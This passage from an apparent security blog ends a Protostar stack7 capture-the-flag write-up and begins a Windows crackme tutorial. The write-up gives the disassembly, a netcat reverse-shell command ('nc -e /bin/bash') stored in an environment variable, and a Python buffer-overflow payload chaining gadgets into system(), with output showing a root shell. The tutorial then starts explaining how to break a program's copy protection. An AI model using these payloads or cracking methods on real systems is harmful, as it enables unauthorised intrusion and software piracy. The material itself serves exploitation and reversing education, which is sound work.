span class="code-line"Disassembly of section span class="nl".init/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048354/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"_init/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048354: 55 push ebp/span/span
span class="code-line"span class="x" 8048355: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048357: 53 push ebx/span/span
span class="code-line"span class="x" 8048358: 83 ec 04 sub esp,0x4/span/span
span class="code-line"span class="x" 804835b: e8 00 00 00 00 call 8048360 lt;_init+0xcgt;/span/span
span class="code-line"span class="x" 8048360: 5b pop ebx/span/span
span class="code-line"span class="x" 8048361: 81 c3 dc 13 00 00 add ebx,0x13dc/span/span
span class="code-line"span class="x" 8048367: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4]/span/span
span class="code-line"span class="x" 804836d: 85 d2 test edx,edx/span/span
span class="code-line"span class="x" 804836f: 74 05 je 8048376 lt;_init+0x22gt;/span/span
span class="code-line"span class="x" 8048371: e8 1e 00 00 00 call 8048394 lt;__gmon_start__@pltgt;/span/span
span class="code-line"span class="x" 8048376: e8 25 01 00 00 call 80484a0 lt;frame_dummygt;/span/span
span class="code-line"span class="x" 804837b: e8 50 02 00 00 call 80485d0 lt;__do_global_ctors_auxgt;/span/span
span class="code-line"span class="x" 8048380: 58 pop eax/span/span
span class="code-line"span class="x" 8048381: 5b pop ebx/span/span
span class="code-line"span class="x" 8048382: c9 leave /span/span
span class="code-line"span class="x" 8048383: c3 ret /span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".plt/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048384/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__gmon_start__@plt/spanspan class="p"-/spanspan class="mh"0x10/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048384: ff 35 40 97 04 08 push DWORD PTR ds:0x8049740/span/span
span class="code-line"span class="x" 804838a: ff 25 44 97 04 08 jmp DWORD PTR ds:0x8049744/span/span
span class="code-line"span class="x" 8048390: 00 00 add BYTE PTR [eax],al/span/span
span class="code-line"span class="x" .../span/span
span class="code-line"/span
span class="code-line"span class="mh"08048394/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__gmon_start__@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048394: ff 25 48 97 04 08 jmp DWORD PTR ds:0x8049748/span/span
span class="code-line"span class="x" 804839a: 68 00 00 00 00 push 0x0/span/span
span class="code-line"span class="x" 804839f: e9 e0 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483a4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"gets@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483a4: ff 25 4c 97 04 08 jmp DWORD PTR ds:0x804974c/span/span
span class="code-line"span class="x" 80483aa: 68 08 00 00 00 push 0x8/span/span
span class="code-line"span class="x" 80483af: e9 d0 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483b4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__libc_start_main@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483b4: ff 25 50 97 04 08 jmp DWORD PTR ds:0x8049750/span/span
span class="code-line"span class="x" 80483ba: 68 10 00 00 00 push 0x10/span/span
span class="code-line"span class="x" 80483bf: e9 c0 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483c4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"_exit@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483c4: ff 25 54 97 04 08 jmp DWORD PTR ds:0x8049754/span/span
span class="code-line"span class="x" 80483ca: 68 18 00 00 00 push 0x18/span/span
span class="code-line"span class="x" 80483cf: e9 b0 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483d4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"fflush@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483d4: ff 25 58 97 04 08 jmp DWORD PTR ds:0x8049758/span/span
span class="code-line"span class="x" 80483da: 68 20 00 00 00 push 0x20/span/span
span class="code-line"span class="x" 80483df: e9 a0 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483e4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"printf@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483e4: ff 25 5c 97 04 08 jmp DWORD PTR ds:0x804975c/span/span
span class="code-line"span class="x" 80483ea: 68 28 00 00 00 push 0x28/span/span
span class="code-line"span class="x" 80483ef: e9 90 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483f4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"strdup@plt/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483f4: ff 25 60 97 04 08 jmp DWORD PTR ds:0x8049760/span/span
span class="code-line"span class="x" 80483fa: 68 30 00 00 00 push 0x30/span/span
span class="code-line"span class="x" 80483ff: e9 80 ff ff ff jmp 8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".text/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048410/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"_start/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048410: 31 ed xor ebp,ebp/span/span
span class="code-line"span class="x" 8048412: 5e pop esi/span/span
span class="code-line"span class="x" 8048413: 89 e1 mov ecx,esp/span/span
span class="code-line"span class="x" 8048415: 83 e4 f0 and esp,0xfffffff0/span/span
span class="code-line"span class="x" 8048418: 50 push eax/span/span
span class="code-line"span class="x" 8048419: 54 push esp/span/span
span class="code-line"span class="x" 804841a: 52 push edx/span/span
span class="code-line"span class="x" 804841b: 68 60 85 04 08 push 0x8048560/span/span
span class="code-line"span class="x" 8048420: 68 70 85 04 08 push 0x8048570/span/span
span class="code-line"span class="x" 8048425: 51 push ecx/span/span
span class="code-line"span class="x" 8048426: 56 push esi/span/span
span class="code-line"span class="x" 8048427: 68 45 85 04 08 push 0x8048545/span/span
span class="code-line"span class="x" 804842c: e8 83 ff ff ff call 80483b4 lt;__libc_start_main@pltgt;/span/span
span class="code-line"span class="x" 8048431: f4 hlt /span/span
span class="code-line"span class="x" 8048432: 90 nop/span/span
span class="code-line"span class="x" 8048433: 90 nop/span/span
span class="code-line"span class="x" 8048434: 90 nop/span/span
span class="code-line"span class="x" 8048435: 90 nop/span/span
span class="code-line"span class="x" 8048436: 90 nop/span/span
span class="code-line"span class="x" 8048437: 90 nop/span/span
span class="code-line"span class="x" 8048438: 90 nop/span/span
span class="code-line"span class="x" 8048439: 90 nop/span/span
span class="code-line"span class="x" 804843a: 90 nop/span/span
span class="code-line"span class="x" 804843b: 90 nop/span/span
span class="code-line"span class="x" 804843c: 90 nop/span/span
span class="code-line"span class="x" 804843d: 90 nop/span/span
span class="code-line"span class="x" 804843e: 90 nop/span/span
span class="code-line"span class="x" 804843f: 90 nop/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048440/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__do_global_dtors_aux/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048440: 55 push ebp/span/span
span class="code-line"span class="x" 8048441: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048443: 53 push ebx/span/span
span class="code-line"span class="x" 8048444: 83 ec 04 sub esp,0x4/span/span
span class="code-line"span class="x" 8048447: 80 3d 84 97 04 08 00 cmp BYTE PTR ds:0x8049784,0x0/span/span
span class="code-line"span class="x" 804844e: 75 3f jne 804848f lt;__do_global_dtors_aux+0x4fgt;/span/span
span class="code-line"span class="x" 8048450: a1 88 97 04 08 mov eax,ds:0x8049788/span/span
span class="code-line"span class="x" 8048455: bb 60 96 04 08 mov ebx,0x8049660/span/span
span class="code-line"span class="x" 804845a: 81 eb 5c 96 04 08 sub ebx,0x804965c/span/span
span class="code-line"span class="x" 8048460: c1 fb 02 sar ebx,0x2/span/span
span class="code-line"span class="x" 8048463: 83 eb 01 sub ebx,0x1/span/span
span class="code-line"span class="x" 8048466: 39 d8 cmp eax,ebx/span/span
span class="code-line"span class="x" 8048468: 73 1e jae 8048488 lt;__do_global_dtors_aux+0x48gt;/span/span
span class="code-line"span class="x" 804846a: 8d b6 00 00 00 00 lea esi,[esi+0x0]/span/span
span class="code-line"span class="x" 8048470: 83 c0 01 add eax,0x1/span/span
span class="code-line"span class="x" 8048473: a3 88 97 04 08 mov ds:0x8049788,eax/span/span
span class="code-line"span class="x" 8048478: ff 14 85 5c 96 04 08 call DWORD PTR [eax*4+0x804965c]/span/span
span class="code-line"span class="x" 804847f: a1 88 97 04 08 mov eax,ds:0x8049788/span/span
span class="code-line"span class="x" 8048484: 39 d8 cmp eax,ebx/span/span
span class="code-line"span class="x" 8048486: 72 e8 jb 8048470 lt;__do_global_dtors_aux+0x30gt;/span/span
span class="code-line"span class="x" 8048488: c6 05 84 97 04 08 01 mov BYTE PTR ds:0x8049784,0x1/span/span
span class="code-line"span class="x" 804848f: 83 c4 04 add esp,0x4/span/span
span class="code-line"span class="x" 8048492: 5b pop ebx/span/span
span class="code-line"span class="x" 8048493: 5d pop ebp/span/span
span class="code-line"span class="x" 8048494: c3 ret /span/span
span class="code-line"span class="x" 8048495: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]/span/span
span class="code-line"span class="x" 8048499: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]/span/span
span class="code-line"/span
span class="code-line"span class="mh"080484a0/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"frame_dummy/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80484a0: 55 push ebp/span/span
span class="code-line"span class="x" 80484a1: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 80484a3: 83 ec 18 sub esp,0x18/span/span
span class="code-line"span class="x" 80484a6: a1 64 96 04 08 mov eax,ds:0x8049664/span/span
span class="code-line"span class="x" 80484ab: 85 c0 test eax,eax/span/span
span class="code-line"span class="x" 80484ad: 74 12 je 80484c1 lt;frame_dummy+0x21gt;/span/span
span class="code-line"span class="x" 80484af: b8 00 00 00 00 mov eax,0x0/span/span
span class="code-line"span class="x" 80484b4: 85 c0 test eax,eax/span/span
span class="code-line"span class="x" 80484b6: 74 09 je 80484c1 lt;frame_dummy+0x21gt;/span/span
span class="code-line"span class="x" 80484b8: c7 04 24 64 96 04 08 mov DWORD PTR [esp],0x8049664/span/span
span class="code-line"span class="x" 80484bf: ff d0 call eax/span/span
span class="code-line"span class="x" 80484c1: c9 leave /span/span
span class="code-line"span class="x" 80484c2: c3 ret /span/span
span class="code-line"span class="x" 80484c3: 90 nop/span/span
span class="code-line"/span
span class="code-line"span class="mh"080484c4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"getpath/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80484c4: 55 push ebp/span/span
span class="code-line"span class="x" 80484c5: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 80484c7: 83 ec 68 sub esp,0x68/span/span
span class="code-line"span class="x" 80484ca: b8 20 86 04 08 mov eax,0x8048620/span/span
span class="code-line"span class="x" 80484cf: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80484d2: e8 0d ff ff ff call 80483e4 lt;printf@pltgt;/span/span
span class="code-line"span class="x" 80484d7: a1 80 97 04 08 mov eax,ds:0x8049780/span/span
span class="code-line"span class="x" 80484dc: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80484df: e8 f0 fe ff ff call 80483d4 lt;fflush@pltgt;/span/span
span class="code-line"span class="x" 80484e4: 8d 45 b4 lea eax,[ebp-0x4c]/span/span
span class="code-line"span class="x" 80484e7: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80484ea: e8 b5 fe ff ff call 80483a4 lt;gets@pltgt;/span/span
span class="code-line"span class="x" 80484ef: 8b 45 04 mov eax,DWORD PTR [ebp+0x4]/span/span
span class="code-line"span class="x" 80484f2: 89 45 f4 mov DWORD PTR [ebp-0xc],eax/span/span
span class="code-line"span class="x" 80484f5: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 80484f8: 25 00 00 00 b0 and eax,0xb0000000/span/span
span class="code-line"span class="x" 80484fd: 3d 00 00 00 b0 cmp eax,0xb0000000/span/span
span class="code-line"span class="x" 8048502: 75 20 jne 8048524 lt;getpath+0x60gt;/span/span
span class="code-line"span class="x" 8048504: b8 34 86 04 08 mov eax,0x8048634/span/span
span class="code-line"span class="x" 8048509: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 804850c: 89 54 24 04 mov DWORD PTR [esp+0x4],edx/span/span
span class="code-line"span class="x" 8048510: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048513: e8 cc fe ff ff call 80483e4 lt;printf@pltgt;/span/span
span class="code-line"span class="x" 8048518: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1/span/span
span class="code-line"span class="x" 804851f: e8 a0 fe ff ff call 80483c4 lt;_exit@pltgt;/span/span
span class="code-line"span class="x" 8048524: b8 40 86 04 08 mov eax,0x8048640/span/span
span class="code-line"span class="x" 8048529: 8d 55 b4 lea edx,[ebp-0x4c]/span/span
span class="code-line"span class="x" 804852c: 89 54 24 04 mov DWORD PTR [esp+0x4],edx/span/span
span class="code-line"span class="x" 8048530: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048533: e8 ac fe ff ff call 80483e4 lt;printf@pltgt;/span/span
span class="code-line"span class="x" 8048538: 8d 45 b4 lea eax,[ebp-0x4c]/span/span
span class="code-line"span class="x" 804853b: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 804853e: e8 b1 fe ff ff call 80483f4 lt;strdup@pltgt;/span/span
span class="code-line"span class="x" 8048543: c9 leave /span/span
span class="code-line"span class="x" 8048544: c3 ret /span/span
span class="code-line"/span
span class="code-line"span class="mh"08048545/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"main/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048545: 55 push ebp/span/span
span class="code-line"span class="x" 8048546: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048548: 83 e4 f0 and esp,0xfffffff0/span/span
span class="code-line"span class="x" 804854b: e8 74 ff ff ff call 80484c4 lt;getpathgt;/span/span
span class="code-line"span class="x" 8048550: 89 ec mov esp,ebp/span/span
span class="code-line"span class="x" 8048552: 5d pop ebp/span/span
span class="code-line"span class="x" 8048553: c3 ret /span/span
span class="code-line"span class="x" 8048554: 90 nop/span/span
span class="code-line"span class="x" 8048555: 90 nop/span/span
span class="code-line"span class="x" 8048556: 90 nop/span/span
span class="code-line"span class="x" 8048557: 90 nop/span/span
span class="code-line"span class="x" 8048558: 90 nop/span/span
span class="code-line"span class="x" 8048559: 90 nop/span/span
span class="code-line"span class="x" 804855a: 90 nop/span/span
span class="code-line"span class="x" 804855b: 90 nop/span/span
span class="code-line"span class="x" 804855c: 90 nop/span/span
span class="code-line"span class="x" 804855d: 90 nop/span/span
span class="code-line"span class="x" 804855e: 90 nop/span/span
span class="code-line"span class="x" 804855f: 90 nop/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048560/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__libc_csu_fini/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048560: 55 push ebp/span/span
span class="code-line"span class="x" 8048561: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048563: 5d pop ebp/span/span
span class="code-line"span class="x" 8048564: c3 ret /span/span
span class="code-line"span class="x" 8048565: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]/span/span
span class="code-line"span class="x" 8048569: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048570/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__libc_csu_init/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048570: 55 push ebp/span/span
span class="code-line"span class="x" 8048571: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048573: 57 push edi/span/span
span class="code-line"span class="x" 8048574: 56 push esi/span/span
span class="code-line"span class="x" 8048575: 53 push ebx/span/span
span class="code-line"span class="x" 8048576: e8 4f 00 00 00 call 80485ca lt;__i686.get_pc_thunk.bxgt;/span/span
span class="code-line"span class="x" 804857b: 81 c3 c1 11 00 00 add ebx,0x11c1/span/span
span class="code-line"span class="x" 8048581: 83 ec 1c sub esp,0x1c/span/span
span class="code-line"span class="x" 8048584: e8 cb fd ff ff call 8048354 lt;_initgt;/span/span
span class="code-line"span class="x" 8048589: 8d bb 18 ff ff ff lea edi,[ebx-0xe8]/span/span
span class="code-line"span class="x" 804858f: 8d 83 18 ff ff ff lea eax,[ebx-0xe8]/span/span
span class="code-line"span class="x" 8048595: 29 c7 sub edi,eax/span/span
span class="code-line"span class="x" 8048597: c1 ff 02 sar edi,0x2/span/span
span class="code-line"span class="x" 804859a: 85 ff test edi,edi/span/span
span class="code-line"span class="x" 804859c: 74 24 je 80485c2 lt;__libc_csu_init+0x52gt;/span/span
span class="code-line"span class="x" 804859e: 31 f6 xor esi,esi/span/span
span class="code-line"span class="x" 80485a0: 8b 45 10 mov eax,DWORD PTR [ebp+0x10]/span/span
span class="code-line"span class="x" 80485a3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 80485a7: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="x" 80485aa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 80485ae: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 80485b1: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80485b4: ff 94 b3 18 ff ff ff call DWORD PTR [ebx+esi*4-0xe8]/span/span
span class="code-line"span class="x" 80485bb: 83 c6 01 add esi,0x1/span/span
span class="code-line"span class="x" 80485be: 39 fe cmp esi,edi/span/span
span class="code-line"span class="x" 80485c0: 72 de jb 80485a0 lt;__libc_csu_init+0x30gt;/span/span
span class="code-line"span class="x" 80485c2: 83 c4 1c add esp,0x1c/span/span
span class="code-line"span class="x" 80485c5: 5b pop ebx/span/span
span class="code-line"span class="x" 80485c6: 5e pop esi/span/span
span class="code-line"span class="x" 80485c7: 5f pop edi/span/span
span class="code-line"span class="x" 80485c8: 5d pop ebp/span/span
span class="code-line"span class="x" 80485c9: c3 ret /span/span
span class="code-line"/span
span class="code-line"span class="mh"080485ca/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__i686.get_pc_thunk.bx/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80485ca: 8b 1c 24 mov ebx,DWORD PTR [esp]/span/span
span class="code-line"span class="x" 80485cd: c3 ret /span/span
span class="code-line"span class="x" 80485ce: 90 nop/span/span
span class="code-line"span class="x" 80485cf: 90 nop/span/span
span class="code-line"/span
span class="code-line"span class="mh"080485d0/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"__do_global_ctors_aux/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80485d0: 55 push ebp/span/span
span class="code-line"span class="x" 80485d1: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 80485d3: 53 push ebx/span/span
span class="code-line"span class="x" 80485d4: 83 ec 04 sub esp,0x4/span/span
span class="code-line"span class="x" 80485d7: a1 54 96 04 08 mov eax,ds:0x8049654/span/span
span class="code-line"span class="x" 80485dc: 83 f8 ff cmp eax,0xffffffff/span/span
span class="code-line"span class="x" 80485df: 74 13 je 80485f4 lt;__do_global_ctors_aux+0x24gt;/span/span
span class="code-line"span class="x" 80485e1: bb 54 96 04 08 mov ebx,0x8049654/span/span
span class="code-line"span class="x" 80485e6: 66 90 xchg ax,ax/span/span
span class="code-line"span class="x" 80485e8: 83 eb 04 sub ebx,0x4/span/span
span class="code-line"span class="x" 80485eb: ff d0 call eax/span/span
span class="code-line"span class="x" 80485ed: 8b 03 mov eax,DWORD PTR [ebx]/span/span
span class="code-line"span class="x" 80485ef: 83 f8 ff cmp eax,0xffffffff/span/span
span class="code-line"span class="x" 80485f2: 75 f4 jne 80485e8 lt;__do_global_ctors_aux+0x18gt;/span/span
span class="code-line"span class="x" 80485f4: 83 c4 04 add esp,0x4/span/span
span class="code-line"span class="x" 80485f7: 5b pop ebx/span/span
span class="code-line"span class="x" 80485f8: 5d pop ebp/span/span
span class="code-line"span class="x" 80485f9: c3 ret /span/span
span class="code-line"span class="x" 80485fa: 90 nop/span/span
span class="code-line"span class="x" 80485fb: 90 nop/span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".fini/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"080485fc/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"_fini/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80485fc: 55 push ebp/span/span
span class="code-line"span class="x" 80485fd: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 80485ff: 53 push ebx/span/span
span class="code-line"span class="x" 8048600: 83 ec 04 sub esp,0x4/span/span
span class="code-line"span class="x" 8048603: e8 00 00 00 00 call 8048608 lt;_fini+0xcgt;/span/span
span class="code-line"span class="x" 8048608: 5b pop ebx/span/span
span class="code-line"span class="x" 8048609: 81 c3 34 11 00 00 add ebx,0x1134/span/span
span class="code-line"span class="x" 804860f: e8 2c fe ff ff call 8048440 lt;__do_global_dtors_auxgt;/span/span
span class="code-line"span class="x" 8048614: 59 pop ecx/span/span
span class="code-line"span class="x" 8048615: 5b pop ebx/span/span
span class="code-line"span class="x" 8048616: c9 leave /span/span
span class="code-line"span class="x" 8048617: c3 ret/span/span
span class="code-line"/code/pre/div
/td/tr/table
pOK, so the codepop, ret/code starts at code0x80485f8/code and the coderet/code is at code0x80485f9/code./p
pNow we just need to create the environment variable and find it in memory:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spanspan class="nb"export/span span class="nv"NCCMD/spanspan class="o"=/spanspan class="s2"quot;nc -e /bin/bash 127.0.0.1 9000quot;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pTo find out where it will be in memory I'm going to use the same a href="/assets/code/x86-32-linux/getenvaddr.c"C application/a that I've used before, which uses codegetenv/code to work it out:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spangcc -o /tmp/env /tmp/env.c/span
span class="code-line"span class="gp"user@protostar:/opt/protostar/bin$ /span/tmp/env/span
span class="code-line"span class="go"Usage: /tmp/env lt;environment variablegt; lt;target program namegt;/span/span
span class="code-line"span class="gp"user@protostar:/opt/protostar/bin$ /span/tmp/env NCCMD ./stack7/span
span class="code-line"span class="go"NCCMD will be at 0xbfffff6e/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWe know that the distance from the start of the payload to overwriting the return address will be the same as before because the application is identical in that sense./p
pNow we have all of the information to exploit it:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:~$ /spannc -l -p span class="m"9000/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spanpython -c span class="s1"#39;print quot;Aquot;*80 + quot;\xf9\x85\x04\x08quot; + quot;\x80\xec\xf2\xb7quot; + quot;\xf8\x85\x04\x08quot; + quot;\x00\x00\x00\x00quot; + quot;\xb0\xff\xec\xb7quot; + quot;JUNKquot; + quot;\x6e\xff\xff\xbfquot;#39;/span span class="p"|/span ./stack7/span
span class="code-line"span class="go"input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"pwd/span/span
span class="code-line"span class="go"/opt/protostar/bin/span/span
span class="code-line"span class="go"whoami/span/span
span class="code-line"span class="go"root/span/span
span class="code-line"/code/pre/div
/td/tr/table
pPWNED! :-)/p
h2Conclusion/h2
pThere are normally a number of ways to exploit a single vulnerablity so while you are learning it is best to try to exploit it in as many ways as possible because some might work in some situations while others might not./p
pRet2Libc is very powerful and beats NX completely but ROP is even more powerful and providing there are enough different ROP gadgets, you can create the whole shellcode using nothing but ROP gadgets but this requires the application to be quite big./p
h2Further Reading/h2
pFor more indepth information about Ret2Libc see a href="http://phrack.org/issues/58/4.html" target="_blank"this/a article on phrack./p
pRead emHacking: The Art Of Exploitation/em by emJon Erickson/em for more information about all of the attacks I've discussed so far and more./p
pHere I'm going to show you how to crack a href="http://crackmes.de/users/san01suke/somecrypto01/" target="_blank"this/a crackme. We'll use some basic reversing techniques to figure out how it works and how to break or bypass its copy protection./p
pSome knowledge of IA-32 assembly would be beneficial to understand what is going on but I'll try to explain it in enough detail that you should be able to follow anyway./p
!-- more --
h2Prerequisites/h2
pIf you want to follow along the setup is:/p
ul
li32bit Windows 7 Home Edition installed inside a VMware virtual machine/li
lia href="http://www.ollydbg.de/" target="_blank"OllyDBG/a installed/li
lia href="https://www.microsoft.com/en-gb/download/details.aspx?id=40787" target="_blank"Microsoft Visual Studio Express 2013 for Windows Desktop/a installed and 'VC/bin/' in the PATH variable/li
/ul
h2Initial Look/h2
pAfter you download the zip file and look inside it you should seee this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/zip-file.png"/p
pDrag the folder they are sitting in to the desktop and run codeSomeCrypto~01.exe/code by double clicking on it./p
pYou should see a rather intimidating window with no explaination like this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/somecrypto1-run.png"/p
pTry to put some junk input in the 2 fields but nothing happens:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/somecrypto1-input.png"/p
pLet's close this, it tells us nothing, and have a closer look at the binary itself./p
pOne of the first things you should always look at is the strongimports/strong section of the binary, it tells you what functions are being imported by the application from other libraries (a href="http://support.microsoft.com/kb/815065" target="_blank".dll files/a)./p
pThis tells you a lot about the application and there are nearly always imports because the application has to communicate with the OS./p
pcodedumpbin/code is an application that comes with codeMicrosoft Visual Studio Express 2013 for Windows Desktop/code and on my test machine resides in codeC:\Program Files\Microsoft Visual Studio 12\VC\bin\/code./p
pIt can be used to look at some of the sections in a href="https://en.wikipedia.org/wiki/Portable_Executable" target="_blank"PE executables/a./p
pOpen up a command prompt with admin privileges:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/admin-cmd.png" width="800"/p
pAnd run the command codedumpbin /imports "C:\Users\user\Desktop\SomeCrypto~01\SomeCrypto~01.exe"/code./p
pThe location of the crackme file might be different depending on what your local username is for Windows (mine is codeuser/code) and if you extracted it to somewhere other than the desktop./p
pYou should see an output like this:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
